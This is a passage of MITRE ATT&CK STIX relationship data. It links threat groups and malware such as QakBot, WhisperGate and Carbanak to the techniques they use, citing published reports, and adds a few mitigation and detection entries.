2018)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1334cbe3-8613-4279-9a1f-58781c2656a4","type":"relationship","created":"2018-01-16T21:43:14.128Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf","description":"Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.","source_name":"APT3 Adversary Emulation Plan"}],"modified":"2020-03-29T18:23:36.943Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has been known to brute force password hashes to be able to leverage plain text credentials.(Citation: APT3 Adversary Emulation Plan)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13363d50-e3cc-4e6c-906a-47df844b8694","type":"relationship","created":"2020-03-13T19:51:59.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077","description":"UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.","source_name":"UCF STIG Elevation Account Enumeration"}],"modified":"2021-07-28T18:05:24.937Z","description":"Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located at HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: Enumerate administrator accounts on elevation.(Citation: UCF STIG Elevation Account Enumeration)","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1336d5a0-f7b3-4d5c-a89b-afdbf1b5e3a8","created":"2024-08-22T20:47:17.682Z","revoked":false,"external_references":[{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-22T20:47:17.682Z","description":"[Cuckoo Stealer](https://attack.mitre.org/software/S1153) can discover and send the username from a compromised host to C2.(Citation: Kandji Cuckoo April 2024)","relationship_type":"uses","source_ref":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--133dc9d4-f21b-40eb-be0c-6ea82fed2bef","created":"2024-09-23T23:03:50.070Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T23:03:50.070Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has used web services to download malicious files.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1343df30-b011-42f7-b3a3-a5d1d2f0b9c6","type":"relationship","created":"2021-09-28T19:59:59.096Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Qakbot October 2020","url":"https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/","description":"CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021."},{"source_name":"ATT QakBot April 2021","url":"https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot","description":"Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021."},{"source_name":"ATT QakBot April 2021","url":"https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot","description":"Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021."},{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}],"modified":"2021-10-12T18:16:40.695Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can identify the installed antivirus product on a targeted system.(Citation: Crowdstrike Qakbot October 2020)(Citation: ATT QakBot April 2021)(Citation: ATT QakBot April 2021)(Citation: Kaspersky QakBot September 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--134a44d5-19f9-4052-9dc2-b1f5af870e28","created":"2023-04-12T15:32:46.607Z","revoked":false,"external_references":[{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T15:32:46.607Z","description":"[SVCReady](https://attack.mitre.org/software/S1064) can collect data from an infected host.(Citation: HP SVCReady Jun 2022)","relationship_type":"uses","source_ref":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--134cc6c4-30f8-4b85-8ea1-da19c3e92af9","created":"2021-05-03T19:39:06.488Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Google Iran Threats October 2021","description":"Bash, A. (2021, October 14). Countering threats from Iran. Retrieved January 4, 2023.","url":"https://blog.google/threat-analysis-group/countering-threats-iran/"},{"source_name":"Certfa Charming Kitten January 2021","description":"Certfa Labs. (2021, January 8). Charming Kitten’s Christmas Gift. Retrieved May 3, 2021.","url":"https://blog.certfa.com/posts/charming-kitten-christmas-gift/"},{"source_name":"ClearSky Kittens Back 3 August 2020","description":"ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf"},{"source_name":"Proofpoint TA453 July2021","description":"Miller, J. et al. (2021, July 13). Operation SpoofedScholars: A Conversation with TA453. Retrieved August 18, 2021.","url":"https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-04T20:07:24.726Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used compromised domains to host links targeted to specific phishing victims.(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Proofpoint TA453 July2021)(Citation: Certfa Charming Kitten January 2021)(Citation: Google Iran Threats October 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--13576b41-ec77-418c-b581-d3fa461df941","created":"2022-03-10T18:52:38.096Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Ukraine Wipers January 2022","description":"Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022.","url":"https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html"},{"source_name":"Crowdstrike WhisperGate January 2022","description":"Crowdstrike. (2022, January 19). Technical Analysis of the WhisperGate Malicious Bootloader. Retrieved March 10, 2022.","url":"https://www.crowdstrike.com/blog/technical-analysis-of-whispergate-malware"},{"source_name":"Cybereason WhisperGate February 2022","description":"Cybereason Nocturnus. (2022, February 15). Cybereason vs. WhisperGate and HermeticWiper. Retrieved March 10, 2022.","url":"https://www.cybereason.com/blog/cybereason-vs.-whispergate-wiper"},{"source_name":"Unit 42 WhisperGate January 2022","description":"Falcone, R. et al.. (2022, January 20). Threat Brief: Ongoing Russia and Ukraine Cyber Conflict. Retrieved March 10, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family"},{"source_name":"Microsoft WhisperGate January 2022","description":"MSTIC. (2022, January 15). Destructive malware targeting Ukrainian organizations. Retrieved March 10, 2022.","url":"https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"},{"source_name":"Medium S2W WhisperGate January 2022","description":"S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. Retrieved March 14, 2022.","url":"https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:42:27.852Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) can corrupt files by overwriting the first 1 MB with `0xcc` and appending random extensions.(Citation: Microsoft WhisperGate January 2022)(Citation: Crowdstrike WhisperGate January 2022)(Citation: Cybereason WhisperGate February 2022)(Citation: Unit 42 WhisperGate January 2022)(Citation: Cisco Ukraine Wipers January 2022)(Citation: Medium S2W WhisperGate January 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--135df9c1-63cf-4323-a803-6d54a9ac8b22","type":"relationship","created":"2021-08-16T20:14:53.239Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"},{"source_name":"CheckPoint Dok","url":"https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/","description":"Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021."}],"modified":"2021-10-11T22:54:28.357Z","description":"[Dok](https://attack.mitre.org/software/S0281) proxies web traffic to potentially monitor and alter victim HTTP(S) traffic.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)","relationship_type":"uses","source_ref":"malware--f36b2598-515f-4345-84e5-5ccde253edbe","target_ref":"attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--135fb6c4-1f42-42ce-b323-22e57ae4fbc6","created":"2022-09-29T20:29:47.272Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T20:29:47.272Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors conducted a file listing discovery against multiple hosts to ensure locker encryption was successful.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--136567c9-f4fe-40c3-a4c2-cd7538cd49a1","type":"relationship","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.840Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--136b197b-4900-4e6e-a16f-0b2cf96fd77c","created":"2024-07-01T14:25:52.889Z","revoked":false,"external_references":[{"source_name":"emotet_trendmicro_mar2023","description":"Kenefick, I. (2023, March 13). Emotet Returns, Now Adopts Binary Padding for Evasion. Retrieved June 19, 2024.","url":"https://www.trendmicro.com/en_us/research/23/c/emotet-returns-now-adopts-binary-padding-for-evasion.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T14:25:52.889Z","description":"[Emotet](https://attack.mitre.org/software/S0367) inflates malicious files and malware as an evasion technique.(Citation: emotet_trendmicro_mar2023)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1374e38c-db37-46f8-8560-63901a3e7e56","type":"relationship","created":"2020-12-29T16:41:19.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-29T16:41:19.852Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has used Angry IP Scanner to detect remote systems.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--13763af4-357d-4bb4-b0eb-64f8808792e6","created":"2024-09-16T14:50:35.582Z","revoked":false,"external_references":[{"source_name":"Github_SILENTTRINITY","description":"byt3bl33d3r. (n.d.). SILENTTRINITY. Retrieved September 12, 2024.","url":"https://github.com/byt3bl33d3r/SILENTTRINITY"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T14:50:35.582Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can run a .NET executable within the memory of a sacrificial process by loading the CLR.(Citation: Github_SILENTTRINITY) ","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--137ce702-f0e6-4dfa-8ca5-439155d91af9","type":"relationship","created":"2021-05-05T13:59:21.362Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2021-05-05T13:59:21.362Z","description":"[LiteDuke](https://attack.mitre.org/software/S0513) can enumerate the CPUID and BIOS version on a compromised system.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--95e2cbae-d82c-4f7b-b63c-16462015d35d","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--137e1ddc-403b-49b5-a214-20b82bab446e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ProjectSauron Full Report","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"}],"modified":"2020-03-11T17:45:33.634Z","description":"[Remsec](https://attack.mitre.org/software/S0125) contains a module to move data from airgapped networks to Internet-connected systems by using a removable USB device.(Citation: Kaspersky ProjectSauron Full Report)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--137f13ee-0607-47ba-952b-dbe39c1330bb","type":"relationship","created":"2020-05-12T21:44:40.904Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-12T21:44:40.904Z","description":"[ShimRatReporter](https://attack.mitre.org/software/S0445) had the ability to download additional payloads.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"tool--115f88dd-0618-4389-83cb-98d33ae81848","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1387ec64-ba36-42cd-b659-c29e708d8281","type":"relationship","created":"2021-11-29T18:52:28.813Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T18:52:28.813Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) can deobfuscate packed binaries in memory.(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--138c4559-eae3-49a2-baea-b9549aef881c","type":"relationship","created":"2019-01-29T21:57:39.539Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture Dragonfish Jan 2018","url":"https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf","description":"Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS’ MEETING AND ASSOCIATES. Retrieved November 14, 2018."}],"modified":"2019-04-17T22:12:24.852Z","description":"[Elise](https://attack.mitre.org/software/S0081) can download additional files from the C2 server for execution.(Citation: Accenture Dragonfish Jan 2018)","relationship_type":"uses","source_ref":"malware--7551188b-8f91-4d34-8350-0d0c57b2b913","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--138da0bb-befa-45cd-9ca4-c74b86ac61ff","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Briba May 2012","description":"Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99"}],"modified":"2021-02-09T14:56:14.767Z","description":"[Briba](https://attack.mitre.org/software/S0204) uses rundll32 within [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001) entries to execute malicious DLLs.(Citation: Symantec Briba May 2012)","relationship_type":"uses","source_ref":"malware--79499993-a8d6-45eb-b343-bf58dea5bdde","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--138f4287-ff95-45cd-bd65-d08708a2cbf5","created":"2022-09-26T20:10:29.028Z","revoked":false,"external_references":[{"source_name":"McAfee Sharpshooter December 2018","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T20:10:29.028Z","description":"[Rising Sun](https://attack.mitre.org/software/S0448) has collected data and files from a compromised host.(Citation: McAfee Sharpshooter December 2018)","relationship_type":"uses","source_ref":"malware--56e6b6c2-e573-4969-8bab-783205cebbbf","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--138fb337-c378-43a3-bacb-54f40696fb6b","type":"relationship","created":"2020-06-09T18:50:04.458Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.180Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has made use of Python-based remote access tools.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13910722-9dc6-499f-9fbf-0a9cb3daab11","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye CARBANAK June 2017","description":"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"}],"modified":"2020-02-11T15:55:06.495Z","description":"[Carbanak](https://attack.mitre.org/software/S0030) obtains Windows logon password details.(Citation: FireEye CARBANAK June 2017)","relationship_type":"uses","source_ref":"malware--72f54d66-675d-4587-9bd3-4ed09f9522e4","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--13984eec-6c33-4bab-a22c-5c061ddd6e44","type":"relationship","created":"2017-05-31T21:33:27.037Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.431Z","description":"(Citation: Mandiant 